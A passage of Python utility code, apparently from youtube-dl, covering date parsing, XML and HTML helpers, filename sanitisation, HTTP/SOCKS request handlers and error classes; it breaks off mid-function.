DATE_FORMATS_DAY_FIRST = list(DATE_FORMATS)
DATE_FORMATS_DAY_FIRST.extend([
    '%d-%m-%Y',
    '%d.%m.%Y',
    '%d.%m.%y',
    '%d/%m/%Y',
    '%d/%m/%y',
    '%d/%m/%Y %H:%M:%S',
])

DATE_FORMATS_MONTH_FIRST = list(DATE_FORMATS)
DATE_FORMATS_MONTH_FIRST.extend([
    '%m-%d-%Y',
    '%m.%d.%Y',
    '%m/%d/%Y',
    '%m/%d/%y',
    '%m/%d/%Y %H:%M:%S',
])


def preferredencoding():
    """Get preferred encoding.

    Returns the best encoding scheme for the system, based on
    locale.getpreferredencoding() and some further tweaks.
    """
    try:
        pref = locale.getpreferredencoding()
        'TEST'.encode(pref)
    except Exception:
        pref = 'UTF-8'

    return pref


def write_json_file(obj, fn):
    """ Encode obj as JSON and write it to fn, atomically if possible """

    fn = encodeFilename(fn)
    if sys.version_info < (3, 0) and sys.platform != 'win32':
        encoding = get_filesystem_encoding()
        # os.path.basename returns a bytes object, but NamedTemporaryFile
        # will fail if the filename contains non ascii characters unless we
        # use a unicode object
        path_basename = lambda f: os.path.basename(fn).decode(encoding)
        # the same for os.path.dirname
        path_dirname = lambda f: os.path.dirname(fn).decode(encoding)
    else:
        path_basename = os.path.basename
        path_dirname = os.path.dirname

    args = {
        'suffix': '.tmp',
        'prefix': path_basename(fn) + '.',
        'dir': path_dirname(fn),
        'delete': False,
    }

    # In Python 2.x, json.dump expects a bytestream.
    # In Python 3.x, it writes to a character stream
    if sys.version_info < (3, 0):
        args['mode'] = 'wb'
    else:
        args.update({
            'mode': 'w',
            'encoding': 'utf-8',
        })

    tf = tempfile.NamedTemporaryFile(**compat_kwargs(args))

    try:
        with tf:
            json.dump(obj, tf)
        if sys.platform == 'win32':
            # Need to remove existing file on Windows, else os.rename raises
            # WindowsError or FileExistsError.
            try:
                os.unlink(fn)
            except OSError:
                pass
        os.rename(tf.name, fn)
    except Exception:
        try:
            os.remove(tf.name)
        except OSError:
            pass
        raise


if sys.version_info >= (2, 7):
    def find_xpath_attr(node, xpath, key, val=None):
        """ Find the xpath xpath[@key=val] """
        assert re.match(r'^[a-zA-Z_-]+$', key)
        expr = xpath + ('[@%s]' % key if val is None else "[@%s='%s']" % (key, val))
        return node.find(expr)
else:
    def find_xpath_attr(node, xpath, key, val=None):
        for f in node.findall(compat_xpath(xpath)):
            if key not in f.attrib:
                continue
            if val is None or f.attrib.get(key) == val:
                return f
        return None

# On python2.6 the xml.etree.ElementTree.Element methods don't support
# the namespace parameter


def xpath_with_ns(path, ns_map):
    components = [c.split(':') for c in path.split('/')]
    replaced = []
    for c in components:
        if len(c) == 1:
            replaced.append(c[0])
        else:
            ns, tag = c
            replaced.append('{%s}%s' % (ns_map[ns], tag))
    return '/'.join(replaced)


def xpath_element(node, xpath, name=None, fatal=False, default=NO_DEFAULT):
    def _find_xpath(xpath):
        return node.find(compat_xpath(xpath))

    if isinstance(xpath, (str, compat_str)):
        n = _find_xpath(xpath)
    else:
        for xp in xpath:
            n = _find_xpath(xp)
            if n is not None:
                break

    if n is None:
        if default is not NO_DEFAULT:
            return default
        elif fatal:
            name = xpath if name is None else name
            raise ExtractorError('Could not find XML element %s' % name)
        else:
            return None
    return n


def xpath_text(node, xpath, name=None, fatal=False, default=NO_DEFAULT):
    n = xpath_element(node, xpath, name, fatal=fatal, default=default)
    if n is None or n == default:
        return n
    if n.text is None:
        if default is not NO_DEFAULT:
            return default
        elif fatal:
            name = xpath if name is None else name
            raise ExtractorError('Could not find XML element\'s text %s' % name)
        else:
            return None
    return n.text


def xpath_attr(node, xpath, key, name=None, fatal=False, default=NO_DEFAULT):
    n = find_xpath_attr(node, xpath, key)
    if n is None:
        if default is not NO_DEFAULT:
            return default
        elif fatal:
            name = '%s[@%s]' % (xpath, key) if name is None else name
            raise ExtractorError('Could not find XML attribute %s' % name)
        else:
            return None
    return n.attrib[key]


def get_element_by_id(id, html):
    """Return the content of the tag with the specified ID in the passed HTML document"""
    return get_element_by_attribute('id', id, html)


def get_element_by_class(class_name, html):
    return get_element_by_attribute(
        'class', r'[^\'"]*\b%s\b[^\'"]*' % re.escape(class_name),
        html, escape_value=False)


def get_element_by_attribute(attribute, value, html, escape_value=True):
    """Return the content of the tag with the specified attribute in the passed HTML document"""

    value = re.escape(value) if escape_value else value

    m = re.search(r'''(?xs)
        <([a-zA-Z0-9:._-]+)
         (?:\s+[a-zA-Z0-9:._-]+(?:=[a-zA-Z0-9:._-]*|="[^"]*"|='[^']*'))*?
         \s+%s=['"]?%s['"]?
         (?:\s+[a-zA-Z0-9:._-]+(?:=[a-zA-Z0-9:._-]*|="[^"]*"|='[^']*'))*?
        \s*>
        (?P<content>.*?)
        </\1>
    ''' % (re.escape(attribute), value), html)

    if not m:
        return None
    res = m.group('content')

    if res.startswith('"') or res.startswith("'"):
        res = res[1:-1]

    return unescapeHTML(res)


class HTMLAttributeParser(compat_HTMLParser):
    """Trivial HTML parser to gather the attributes for a single element"""
    def __init__(self):
        self.attrs = {}
        compat_HTMLParser.__init__(self)

    def handle_starttag(self, tag, attrs):
        self.attrs = dict(attrs)


def extract_attributes(html_element):
    """Given a string for an HTML element such as
    <el
         a="foo" B="bar" c="&98;az" d=boz
         empty= noval entity="&amp;"
         sq='"' dq="'"
    >
    Decode and return a dictionary of attributes.
    {
        'a': 'foo', 'b': 'bar', c: 'baz', d: 'boz',
        'empty': '', 'noval': None, 'entity': '&',
        'sq': '"', 'dq': '\''
    }.
    NB HTMLParser is stricter in Python 2.6 & 3.2 than in later versions,
    but the cases in the unit test will work for all of 2.6, 2.7, 3.2-3.5.
    """
    parser = HTMLAttributeParser()
    parser.feed(html_element)
    parser.close()
    return parser.attrs


def clean_html(html):
    """Clean an HTML snippet into a readable string"""

    if html is None:  # Convenience for sanitizing descriptions etc.
        return html

    # Newline vs <br />
    html = html.replace('\n', ' ')
    html = re.sub(r'\s*<\s*br\s*/?\s*>\s*', '\n', html)
    html = re.sub(r'<\s*/\s*p\s*>\s*<\s*p[^>]*>', '\n', html)
    # Strip html tags
    html = re.sub('<.*?>', '', html)
    # Replace html entities
    html = unescapeHTML(html)
    return html.strip()


def sanitize_open(filename, open_mode):
    """Try to open the given filename, and slightly tweak it if this fails.

    Attempts to open the given filename. If this fails, it tries to change
    the filename slightly, step by step, until it's either able to open it
    or it fails and raises a final exception, like the standard open()
    function.

    It returns the tuple (stream, definitive_file_name).
    """
    try:
        if filename == '-':
            if sys.platform == 'win32':
                import msvcrt
                msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
            return (sys.stdout.buffer if hasattr(sys.stdout, 'buffer') else sys.stdout, filename)
        stream = open(encodeFilename(filename), open_mode)
        return (stream, filename)
    except (IOError, OSError) as err:
        if err.errno in (errno.EACCES,):
            raise

        # In case of error, try to remove win32 forbidden chars
        alt_filename = sanitize_path(filename)
        if alt_filename == filename:
            raise
        else:
            # An exception here should be caught in the caller
            stream = open(encodeFilename(alt_filename), open_mode)
            return (stream, alt_filename)


def timeconvert(timestr):
    """Convert RFC 2822 defined time string into system timestamp"""
    timestamp = None
    timetuple = email.utils.parsedate_tz(timestr)
    if timetuple is not None:
        timestamp = email.utils.mktime_tz(timetuple)
    return timestamp


def sanitize_filename(s, restricted=False, is_id=False):
    """Sanitizes a string so it could be used as part of a filename.
    If restricted is set, use a stricter subset of allowed characters.
    Set is_id if this is not an arbitrary string, but an ID that should be kept if possible
    """
    def replace_insane(char):
        if restricted and char in ACCENT_CHARS:
            return ACCENT_CHARS[char]
        if char == '?' or ord(char) < 32 or ord(char) == 127:
            return ''
        elif char == '"':
            return '' if restricted else '\''
        elif char == ':':
            return '_-' if restricted else ' -'
        elif char in '\\/|*<>':
            return '_'
        if restricted and (char in '!&\'()[]{}$;`^,#' or char.isspace()):
            return '_'
        if restricted and ord(char) > 127:
            return '_'
        return char

    # Handle timestamps
    s = re.sub(r'[0-9]+(?::[0-9]+)+', lambda m: m.group(0).replace(':', '_'), s)
    result = ''.join(map(replace_insane, s))
    if not is_id:
        while '__' in result:
            result = result.replace('__', '_')
        result = result.strip('_')
        # Common case of "Foreign band name - English song title"
        if restricted and result.startswith('-_'):
            result = result[2:]
        if result.startswith('-'):
            result = '_' + result[len('-'):]
        result = result.lstrip('.')
        if not result:
            result = '_'
    return result


def sanitize_path(s):
    """Sanitizes and normalizes path on Windows"""
    if sys.platform != 'win32':
        return s
    drive_or_unc, _ = os.path.splitdrive(s)
    if sys.version_info < (2, 7) and not drive_or_unc:
        drive_or_unc, _ = os.path.splitunc(s)
    norm_path = os.path.normpath(remove_start(s, drive_or_unc)).split(os.path.sep)
    if drive_or_unc:
        norm_path.pop(0)
    sanitized_path = [
        path_part if path_part in ['.', '..'] else re.sub('(?:[/<>:"\\|\\\\?\\*]|[\s.]$)', '#', path_part)
        for path_part in norm_path]
    if drive_or_unc:
        sanitized_path.insert(0, drive_or_unc + os.path.sep)
    return os.path.join(*sanitized_path)


# Prepend protocol-less URLs with `http:` scheme in order to mitigate the number of
# unwanted failures due to missing protocol
def sanitize_url(url):
    return 'http:%s' % url if url.startswith('//') else url


def sanitized_Request(url, *args, **kwargs):
    return compat_urllib_request.Request(sanitize_url(url), *args, **kwargs)


def orderedSet(iterable):
    """ Remove all duplicates from the input iterable """
    res = []
    for el in iterable:
        if el not in res:
            res.append(el)
    return res


def _htmlentity_transform(entity_with_semicolon):
    """Transforms an HTML entity to a character."""
    entity = entity_with_semicolon[:-1]

    # Known non-numeric HTML entity
    if entity in compat_html_entities.name2codepoint:
        return compat_chr(compat_html_entities.name2codepoint[entity])

    # TODO: HTML5 allows entities without a semicolon. For example,
    # '&Eacuteric' should be decoded as 'Éric'.
    if entity_with_semicolon in compat_html_entities_html5:
        return compat_html_entities_html5[entity_with_semicolon]

    mobj = re.match(r'#(x[0-9a-fA-F]+|[0-9]+)', entity)
    if mobj is not None:
        numstr = mobj.group(1)
        if numstr.startswith('x'):
            base = 16
            numstr = '0%s' % numstr
        else:
            base = 10
        # See https://github.com/rg3/youtube-dl/issues/7518
        try:
            return compat_chr(int(numstr, base))
        except ValueError:
            pass

    # Unknown entity in name, return its literal representation
    return '&%s;' % entity


def unescapeHTML(s):
    if s is None:
        return None
    assert type(s) == compat_str

    return re.sub(
        r'&([^;]+;)', lambda m: _htmlentity_transform(m.group(1)), s)


def get_subprocess_encoding():
    if sys.platform == 'win32' and sys.getwindowsversion()[0] >= 5:
        # For subprocess calls, encode with locale encoding
        # Refer to http://stackoverflow.com/a/9951851/35070
        encoding = preferredencoding()
    else:
        encoding = sys.getfilesystemencoding()
    if encoding is None:
        encoding = 'utf-8'
    return encoding


def encodeFilename(s, for_subprocess=False):
    """
    @param s The name of the file
    """

    assert type(s) == compat_str

    # Python 3 has a Unicode API
    if sys.version_info >= (3, 0):
        return s

    # Pass '' directly to use Unicode APIs on Windows 2000 and up
    # (Detecting Windows NT 4 is tricky because 'major >= 4' would
    # match Windows 9x series as well. Besides, NT 4 is obsolete.)
    if not for_subprocess and sys.platform == 'win32' and sys.getwindowsversion()[0] >= 5:
        return s

    # Jython assumes filenames are Unicode strings though reported as Python 2.x compatible
    if sys.platform.startswith('java'):
        return s

    return s.encode(get_subprocess_encoding(), 'ignore')


def decodeFilename(b, for_subprocess=False):

    if sys.version_info >= (3, 0):
        return b

    if not isinstance(b, bytes):
        return b

    return b.decode(get_subprocess_encoding(), 'ignore')


def encodeArgument(s):
    if not isinstance(s, compat_str):
        # Legacy code that uses byte strings
        # Uncomment the following line after fixing all post processors
        # assert False, 'Internal error: %r should be of type %r, is %r' % (s, compat_str, type(s))
        s = s.decode('ascii')
    return encodeFilename(s, True)


def decodeArgument(b):
    return decodeFilename(b, True)


def decodeOption(optval):
    if optval is None:
        return optval
    if isinstance(optval, bytes):
        optval = optval.decode(preferredencoding())

    assert isinstance(optval, compat_str)
    return optval


def formatSeconds(secs):
    if secs > 3600:
        return '%d:%02d:%02d' % (secs // 3600, (secs % 3600) // 60, secs % 60)
    elif secs > 60:
        return '%d:%02d' % (secs // 60, secs % 60)
    else:
        return '%d' % secs


def make_HTTPS_handler(params, **kwargs):
    opts_no_check_certificate = params.get('nocheckcertificate', False)
    if hasattr(ssl, 'create_default_context'):  # Python >= 3.4 or 2.7.9
        context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
        if opts_no_check_certificate:
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
        try:
            return YoutubeDLHTTPSHandler(params, context=context, **kwargs)
        except TypeError:
            # Python 2.7.8
            # (create_default_context present but HTTPSHandler has no context=)
            pass

    if sys.version_info < (3, 2):
        return YoutubeDLHTTPSHandler(params, **kwargs)
    else:  # Python < 3.4
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
        context.verify_mode = (ssl.CERT_NONE
                               if opts_no_check_certificate
                               else ssl.CERT_REQUIRED)
        context.set_default_verify_paths()
        return YoutubeDLHTTPSHandler(params, context=context, **kwargs)


def bug_reports_message():
    if ytdl_is_updateable():
        update_cmd = 'type  youtube-dl -U  to update'
    else:
        update_cmd = 'see  https://yt-dl.org/update  on how to update'
    msg = '; please report this issue on https://yt-dl.org/bug .'
    msg += ' Make sure you are using the latest version; %s.' % update_cmd
    msg += ' Be sure to call youtube-dl with the --verbose flag and include its complete output.'
    return msg


class ExtractorError(Exception):
    """Error during info extraction."""

    def __init__(self, msg, tb=None, expected=False, cause=None, video_id=None):
        """ tb, if given, is the original traceback (so that it can be printed out).
        If expected is set, this is a normal error message and most likely not a bug in youtube-dl.
        """

        if sys.exc_info()[0] in (compat_urllib_error.URLError, socket.timeout, UnavailableVideoError):
            expected = True
        if video_id is not None:
            msg = video_id + ': ' + msg
        if cause:
            msg += ' (caused by %r)' % cause
        if not expected:
            msg += bug_reports_message()
        super(ExtractorError, self).__init__(msg)

        self.traceback = tb
        self.exc_info = sys.exc_info()  # preserve original exception
        self.cause = cause
        self.video_id = video_id

    def format_traceback(self):
        if self.traceback is None:
            return None
        return ''.join(traceback.format_tb(self.traceback))


class UnsupportedError(ExtractorError):
    def __init__(self, url):
        super(UnsupportedError, self).__init__(
            'Unsupported URL: %s' % url, expected=True)
        self.url = url


class RegexNotFoundError(ExtractorError):
    """Error when a regex didn't match"""
    pass


class DownloadError(Exception):
    """Download Error exception.

    This exception may be thrown by FileDownloader objects if they are not
    configured to continue on errors. They will contain the appropriate
    error message.
    """

    def __init__(self, msg, exc_info=None):
        """ exc_info, if given, is the original exception that caused the trouble (as returned by sys.exc_info()). """
        super(DownloadError, self).__init__(msg)
        self.exc_info = exc_info


class SameFileError(Exception):
    """Same File exception.

    This exception will be thrown by FileDownloader objects if they detect
    multiple files would have to be downloaded to the same file on disk.
    """
    pass


class PostProcessingError(Exception):
    """Post Processing exception.

    This exception may be raised by PostProcessor's .run() method to
    indicate an error in the postprocessing task.
    """

    def __init__(self, msg):
        self.msg = msg


class MaxDownloadsReached(Exception):
    """ --max-downloads limit has been reached. """
    pass


class UnavailableVideoError(Exception):
    """Unavailable Format exception.

    This exception will be thrown when a video is requested
    in a format that is not available for that video.
    """
    pass


class ContentTooShortError(Exception):
    """Content Too Short exception.

    This exception may be raised by FileDownloader objects when a file they
    download is too small for what the server announced first, indicating
    the connection was probably interrupted.
    """

    def __init__(self, downloaded, expected):
        # Both in bytes
        self.downloaded = downloaded
        self.expected = expected


def _create_http_connection(ydl_handler, http_class, is_https, *args, **kwargs):
    # Working around python 2 bug (see http://bugs.python.org/issue17849) by limiting
    # expected HTTP responses to meet HTTP/1.0 or later (see also
    # https://github.com/rg3/youtube-dl/issues/6727)
    if sys.version_info < (3, 0):
        kwargs[b'strict'] = True
    hc = http_class(*args, **kwargs)
    source_address = ydl_handler._params.get('source_address')
    if source_address is not None:
        sa = (source_address, 0)
        if hasattr(hc, 'source_address'):  # Python 2.7+
            hc.source_address = sa
        else:  # Python 2.6
            def _hc_connect(self, *args, **kwargs):
                sock = compat_socket_create_connection(
                    (self.host, self.port), self.timeout, sa)
                if is_https:
                    self.sock = ssl.wrap_socket(
                        sock, self.key_file, self.cert_file,
                        ssl_version=ssl.PROTOCOL_TLSv1)
                else:
                    self.sock = sock
            hc.connect = functools.partial(_hc_connect, hc)

    return hc


def handle_youtubedl_headers(headers):
    filtered_headers = headers

    if 'Youtubedl-no-compression' in filtered_headers:
        filtered_headers = dict((k, v) for k, v in filtered_headers.items() if k.lower() != 'accept-encoding')
        del filtered_headers['Youtubedl-no-compression']

    return filtered_headers


class YoutubeDLHandler(compat_urllib_request.HTTPHandler):
    """Handler for HTTP requests and responses.

    This class, when installed with an OpenerDirector, automatically adds
    the standard headers to every HTTP request and handles gzipped and
    deflated responses from web servers. If compression is to be avoided in
    a particular request, the original request in the program code only has
    to include the HTTP header "Youtubedl-no-compression", which will be
    removed before making the real request.

    Part of this code was copied from:

    http://techknack.net/python-urllib2-handlers/

    Andrew Rowls, the author of that code, agreed to release it to the
    public domain.
    """

    def __init__(self, params, *args, **kwargs):
        compat_urllib_request.HTTPHandler.__init__(self, *args, **kwargs)
        self._params = params

    def http_open(self, req):
        conn_class = compat_http_client.HTTPConnection

        socks_proxy = req.headers.get('Ytdl-socks-proxy')
        if socks_proxy:
            conn_class = make_socks_conn_class(conn_class, socks_proxy)
            del req.headers['Ytdl-socks-proxy']

        return self.do_open(functools.partial(
            _create_http_connection, self, conn_class, False),
            req)

    @staticmethod
    def deflate(data):
        try:
            return zlib.decompress(data, -zlib.MAX_WBITS)
        except zlib.error:
            return zlib.decompress(data)

    @staticmethod
    def addinfourl_wrapper(stream, headers, url, code):
        if hasattr(compat_urllib_request.addinfourl, 'getcode'):
            return compat_urllib_request.addinfourl(stream, headers, url, code)
        ret = compat_urllib_request.addinfourl(stream, headers, url)
        ret.code = code
        return ret

    def http_request(self, req):
        # According to RFC 3986, URLs can not contain non-ASCII characters, however this is not
        # always respected by websites, some tend to give out URLs with non percent-encoded
        # non-ASCII characters (see telemb.py, ard.py [#3412])
        # urllib chokes on URLs with non-ASCII characters (see http://bugs.python.org/issue3991)
        # To work around aforementioned issue we will replace request's original URL with
        # percent-encoded one
        # Since redirects are also affected (e.g. http://www.southpark.de/alle-episoden/s18e09)
        # the code of this workaround has been moved here from YoutubeDL.urlopen()
        url = req.get_full_url()
        url_escaped = escape_url(url)

        # Substitute URL if any change after escaping
        if url != url_escaped:
            req = update_Request(req, url=url_escaped)

        for h, v in std_headers.items():
            # Capitalize is needed because of Python bug 2275: http://bugs.python.org/issue2275
            # The dict keys are capitalized because of this bug by urllib
            if h.capitalize() not in req.headers:
                req.add_header(h, v)

        req.headers = handle_youtubedl_headers(req.headers)

        if sys.version_info < (2, 7) and '#' in req.get_full_url():
            # Python 2.6 is brain-dead when it comes to fragments
            req._Request__original = req._Request__original.partition('#')[0]
            req._Request__r_type = req._Request__r_type.partition('#')[0]

        return req

    def http_response(self, req, resp):
        old_resp = resp
        # gzip
        if resp.headers.get('Content-encoding', '') == 'gzip':
            content = resp.read()
            gz = gzip.GzipFile(fileobj=io.BytesIO(content), mode='rb')
            try:
                uncompressed = io.BytesIO(gz.read())
            except IOError as original_ioerror:
                # There may be junk add the end of the file
                # See http://stackoverflow.com/q/4928560/35070 for details
                for i in range(1, 1024):
                    try:
                        gz = gzip.GzipFile(fileobj=io.BytesIO(content[:-i]), mode='rb')
                        uncompressed = io.BytesIO(gz.read())
                    except IOError:
                        continue
                    break
                else:
                    raise original_ioerror
            resp = self.addinfourl_wrapper(uncompressed, old_resp.headers, old_resp.url, old_resp.code)
            resp.msg = old_resp.msg
            del resp.headers['Content-encoding']
        # deflate
        if resp.headers.get('Content-encoding', '') == 'deflate':
            gz = io.BytesIO(self.deflate(resp.read()))
            resp = self.addinfourl_wrapper(gz, old_resp.headers, old_resp.url, old_resp.code)
            resp.msg = old_resp.msg
            del resp.headers['Content-encoding']
        # Percent-encode redirect URL of Location HTTP header to satisfy RFC 3986 (see
        # https://github.com/rg3/youtube-dl/issues/6457).
        if 300 <= resp.code < 400:
            location = resp.headers.get('Location')
            if location:
                # As of RFC 2616 default charset is iso-8859-1 that is respected by python 3
                if sys.version_info >= (3, 0):
                    location = location.encode('iso-8859-1').decode('utf-8')
                else:
                    location = location.decode('utf-8')
                location_escaped = escape_url(location)
                if location != location_escaped:
                    del resp.headers['Location']
                    if sys.version_info < (3, 0):
                        location_escaped = location_escaped.encode('utf-8')
                    resp.headers['Location'] = location_escaped
        return resp

    https_request = http_request
    https_response = http_response


def make_socks_conn_class(base_class, socks_proxy):
    assert issubclass(base_class, (
        compat_http_client.HTTPConnection, compat_http_client.HTTPSConnection))

    url_components = compat_urlparse.urlparse(socks_proxy)
    if url_components.scheme.lower() == 'socks5':
        socks_type = ProxyType.SOCKS5
    elif url_components.scheme.lower() in ('socks', 'socks4'):
        socks_type = ProxyType.SOCKS4
    elif url_components.scheme.lower() == 'socks4a':
        socks_type = ProxyType.SOCKS4A

    def unquote_if_non_empty(s):
        if not s:
            return s
        return compat_urllib_parse_unquote_plus(s)

    proxy_args = (
        socks_type,
        url_components.hostname, url_components.port or 1080,
        True,  # Remote DNS
        unquote_if_non_empty(url_components.username),
        unquote_if_non_empty(url_components.password),
    )

    class SocksConnection(base_class):
        def connect(self):
            self.sock = sockssocket()
            self.sock.setproxy(*proxy_args)
            if type(self.timeout) in (int, float):
                self.sock.settimeout(self.timeout)
            self.sock.connect((self.host, self.port))

            if isinstance(self, compat_http_client.HTTPSConnection):
                if hasattr(self, '_context'):  # Python > 2.6
                    self.sock = self._context.wrap_socket(
                        self.sock, server_hostname=self.host)
                else:
                    self.sock = ssl.wrap_socket(self.sock)

    return SocksConnection


class YoutubeDLHTTPSHandler(compat_urllib_request.HTTPSHandler):
    def __init__(self, params, https_conn_class=None, *args, **kwargs):
        compat_urllib_request.HTTPSHandler.__init__(self, *args, **kwargs)
        self._https_conn_class = https_conn_class or compat_http_client.HTTPSConnection
        self._params = params

    def https_open(self, req):
        kwargs = {}
        conn_class = self._https_conn_class

        if hasattr(self, '_context'):  # python > 2.6
            kwargs['context'] = self._context
        if hasattr(self, '_check_hostname'):  # python 3.x
            kwargs['check_hostname'] = self._check_hostname

        socks_proxy = req.headers.get('Ytdl-socks-proxy')
        if socks_proxy:
            conn_class = make_socks_conn_class(conn_class, socks_proxy)
            del req.headers['Ytdl-socks-proxy']

        return self.do_open(functools.partial(
            _create_http_connection, self, conn_class, True),
            req, **kwargs)


class YoutubeDLCookieProcessor(compat_urllib_request.HTTPCookieProcessor):
    def __init__(self, cookiejar=None):
        compat_urllib_request.HTTPCookieProcessor.__init__(self, cookiejar)

    def http_response(self, request, response):
        # Python 2 will choke on next HTTP request in row if there are non-ASCII
        # characters in Set-Cookie HTTP header of last response (see
        # https://github.com/rg3/youtube-dl/issues/6769).
        # In order to at least prevent crashing we will percent encode Set-Cookie
        # header before HTTPCookieProcessor starts processing it.
        # if sys.version_info < (3, 0) and response.headers:
        #     for set_cookie_header in ('Set-Cookie', 'Set-Cookie2'):
        #         set_cookie = response.headers.get(set_cookie_header)
        #         if set_cookie:
        #             set_cookie_escaped = compat_urllib_parse.quote(set_cookie, b"%/;:@&=+$,!~*'()?#[] ")
        #             if set_cookie != set_cookie_escaped:
        #                 del response.headers[set_cookie_header]
        #                 response.headers[set_cookie_header] = set_cookie_escaped
        return compat_urllib_request.HTTPCookieProcessor.http_response(self, request, response)

    https_request = compat_urllib_request.HTTPCookieProcessor.http_request
    https_response = http_response


def extract_timezone(date_str):
    m = re.search(
        r'^.{8,}?(?P<tz>Z$| ?(?P<sign>\+|-)(?P<hours>[0-9]{2}):?(?P<minutes>[0-9]{2})$)',
        date_str)
    if not m:
        timezone = datetime.timedelta()
    else:
        date_str = date_str[:-len(m.group('tz'))]
        if not m.group('sign'):
            timezone = datetime.timedelta()
        else:
            sign = 1 if m.group('sign') == '+' else -1
            timezone = datetime.timedelta(
                hours=sign * int(m.group('hours')),
                minutes=sign * int(m.group('minutes')))
    return timezone, date_str


def parse_iso8601(date_str, delimiter='T', timezone=None):
    """ Return a UNIX timestamp from the given date """

    if date_str is None:
        return None

    date_str = re.sub(r'\.[0-9]+', '', date_str)

    if timezone is None:
        timezone, date_str = extract_timezone(date_str)

    try:
        date_format = '%Y-%m-%d{0}%H:%M:%S'.format(delimiter)
        dt = datetime.datetime.strptime(date_str, date_format) - timezone
        return calendar.timegm(dt.timetuple())
    except ValueError:
        pass


def date_formats(day_first=True):
    return DATE_FORMATS_DAY_FIRST if day_first else DATE_FORMATS_MONTH_FIRST


def unified_strdate(date_str, day_first=True):
    """Return a string with the date in the format YYYYMMDD"""

    if date_str is None:
        return None
    upload_date = None
    # Replace commas
    date_str = date_str.replace(',', ' ')
    # Remove AM/PM + timezone
    date_str = re.sub(r'(?i)\s*(?:AM|PM)(?:\s+[A-Z]+)?', '', date_str)
    _, date_str = extract_timezone(date_str)

    for expression in date_formats(day_first):
        try:
            upload_date = datetime.datetime.strptime(date_str, expression).strftime('%Y%m%d')
        except ValueError:
            pass
    if upload_date is None:
        timetuple = email.utils.parsedate_tz(date_str)
        if timetuple:
            try:
                upload_date = datetime.datetime(*timetuple[:6]).strftime('%Y%m%d')
            except ValueError:
                pass
    if upload_date is not None:
        return compat_str(upload_date)


def unified_timestamp(date_str, day_first=True):
    if date_str is None:
        return None

    date_str = date_str.replace(',', ' ')

    pm_delta = 12 if re.search(r'(?i)PM', date_str) else 0
    timezone, date_str = extract_timezone(date_str)

    # Remove AM/PM + timezone
    date_str = re.sub(r'(?i)\s*(?:AM|PM)(?:\s+[A-Z]+)?', '', date_str)

    for expression in date_formats(day_first):
        try:
            dt = datetime.datetime.strptime(date_str, expression) - timezone + datetime.timedelta(hours=pm_delta)
            return calendar.timegm(dt.timetuple())
        except ValueError:
            pass
    timetuple = email.utils.parsedate_tz(date_str)
    if timetuple:
        return calendar.timegm(timetuple) + pm_delta * 3600


def determine_ext(url, default_ext='unknown_video'):
    if url is None:
        return default_ext
    guess = url.partition('?')[0].rpartition('.')[2]
    if re.match(r'^[A-Za-z0-9]+$', guess):
        return guess
    # Try extract ext from URLs like http://example.com/foo/bar.mp4/?download
    elif guess.rstrip('/') in KNOWN_EXTENSIONS:
        return guess.rstrip('/')
    else:
        return default_ext


def subtitles_filename(filename, sub_lang, sub_format):
    return filename.rsplit('.', 1)[0] + '.' + sub_lang + '.' + sub_format


def date_from_str(date_str):
    """
    Return a datetime object from a string in the format YYYYMMDD or
    (now|today)[+-][0-9](day|week|month|year)(s)?"""
    today = datetime.date.today()
    if date_str in ('now', 'today'):
        return today
    if date_str == 'yesterday':
        return today - datetime.timedelta(days=1)
    match = re.match('(now|today)(?P<sign>[+-])(?P<time>\d+)(?P<unit>day|week|month|year)(s)?', date_str)
    if match is not None:
        sign = match.group('sign')
        time = int(match.group('time'))
        if sign == '-':
            time = -time
        unit = match.group('unit')
        # A bad approximation?
        if unit == 'month':
            unit = 'day'
            time *= 30
        elif unit == 'year':
            unit = 'day'
            time *= 365
        unit += 's'
        delta = datetime.timedelta(**{unit: time})
        return today + delta
    return datetime.datetime.strptime(date_str, '%Y%m%d').date()


def hyphenate_date(date_str):
    """
    Convert a date in 'YYYYMMDD' format to 'YYYY-MM-DD' format"""
    match = re.match(r'^(\d\d\d\d)(\d\d)(\d\d)$', date_str)
    if match is not None:
        return '-'.join(match.groups())
    else:
        return date_str


class DateRange(object):
    """Represents a time interval between two dates"""

    def __init__(self, start=None, end=None):
        """start and end must be strings in the format accepted by date"""
        if start is not None:
            self.start = date_from_str(start)
        else:
            self.start = datetime.datetime.min.date()
        if end is not None:
            self.end = date_from_str(end)
        else:
            self.end = datetime.datetime.max.date()
        if self.start > self.end:
            raise ValueError('Date range: "%s" , the start date must be before the end date' % self)

    @classmethod
    def day(cls, day):
        """Returns a range that only contains the given day"""
        return cls(day, day)

    def __contains__(self, date):
        """Check if the date is in the range"""
        if not isinstance(date, datetime.date):
            date = date_from_str(date)
        return self.start <= date <= self.end

    def __str__(self):
        return '%s - %s' % (self.start.isoformat(), self.end.isoformat())


def platform_name():
    """ Returns the platform name as a compat_str """
    res = platform.platform()
    if isinstance(res, bytes):
        res = res.decode(preferredencoding())

    assert isinstance(res, compat_str)
    return res


def _windows_write_string(s, out):
    """ Returns True if the string was written using special methods,
    False if it has yet to be written out."""
    # Adapted from http://stackoverflow.com/a/3259271/35070

    import ctypes
    import ctypes.wintypes

    WIN_OUTPUT_IDS = {
        1: -11,
        2: -12,
    }

    try:
        fileno = out.fileno()
    except AttributeError:
        # If the output stream doesn't have a fileno, it's virtual
        return False
    except io.UnsupportedOperation:
        # Some strange Windows pseudo files?
        return False
    if fileno not in WIN_OUTPUT_IDS:
        return False

    GetStdHandle = ctypes.WINFUNCTYPE(
        ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD)(
        (b'GetStdHandle', ctypes.windll.kernel32))
    h = GetStdHandle(WIN_OUTPUT_IDS[fileno])

    WriteConsoleW = ctypes.WINFUNCTYPE(
        ctypes.wintypes.BOOL, ctypes.wintypes.HANDLE, ctypes.wintypes.LPWSTR,
        ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.wintypes.DWORD),
        ctypes.wintypes.LPVOID)((b'WriteConsoleW', ctypes.windll.kernel32))
    written = ctypes.wintypes.DWORD(0)

    GetFileType = ctypes.WINFUNCTYPE(ctypes.wintypes.DWORD, ctypes.wintypes.DWORD)((b'GetFileType', ctypes.windll.kernel32))
    FILE_TYPE_CHAR = 0x0002
    FILE_TYPE_REMOTE = 0x8000
    GetConsoleMode = ctypes.WINFUNCTYPE(
        ctypes.wintypes.BOOL, ctypes.wintypes.HANDLE,
